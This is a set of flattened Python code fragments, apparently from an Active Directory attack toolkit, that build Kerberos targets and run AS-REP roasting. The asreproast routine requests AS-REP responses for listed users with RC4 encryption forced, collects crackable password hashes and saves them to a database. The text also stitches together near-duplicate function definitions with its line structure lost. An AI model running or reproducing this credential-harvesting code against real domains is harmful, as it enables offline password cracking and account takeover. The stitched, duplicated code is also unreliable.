def get_target(self): res = KerberosTarget() res.ip = self.dc_ip res.port = self.port res.protocol = KerberosSocketType.TCP res.proxy = self.proxy res.timeout = self.timeout return res
def get_kerberos_target(self, proxy=None, timeout=1): kt = KerberosTarget() kt.ip = self.hostname kt.port = 88 kt.protocol = KerberosSocketType.TCP kt.proxy = proxy kt.timeout = timeout return kt
def get_target(self): if self.target is not None: if self.target.proxy is None and self.proxy is not None: self.target.proxy = self.proxy return copy.deepcopy(self.target) res = KerberosTarget() res.ip = self.dc_ip res.port = self.port res.protocol = KerberosSocketType.TCP res.proxy = self.proxy res.timeout = self.timeout return res
async def asreproast(self): try: target = None if self.kerb_url == 'auto': from winacl.functions.highlevel import get_logon_info logon = get_logon_info() if logon['logonserver'] == '': logger.debug( 'Failed to detect logonserver! asreproast will not work automagically!' ) return True, None target = KerberosTarget() target.ip = '%s.%s' % (logon['logonserver'], logon['dnsdomainname']) else: target = self.kerb_mgr.get_target() for uid in self.targets_asreq: ar = APREPRoast(target) res = await ar.run(self.targets_asreq[uid], override_etype=[23]) t = KerberoastTable.from_hash(self.ad_id, uid, res) self.db_session.add(t) self.total_targets_finished += 1 if self.progress_queue is not None: msg = GathererProgress() msg.type = GathererProgressType.KERBEROAST msg.msg_type = MSGTYPE.PROGRESS msg.adid = self.ad_id msg.domain_name = self.domain_name msg.total = self.total_targets msg.total_finished = self.total_targets_finished msg.step_size = 1 await self.progress_queue.put(msg) self.db_session.commit() return True, None except Exception as e: return None, e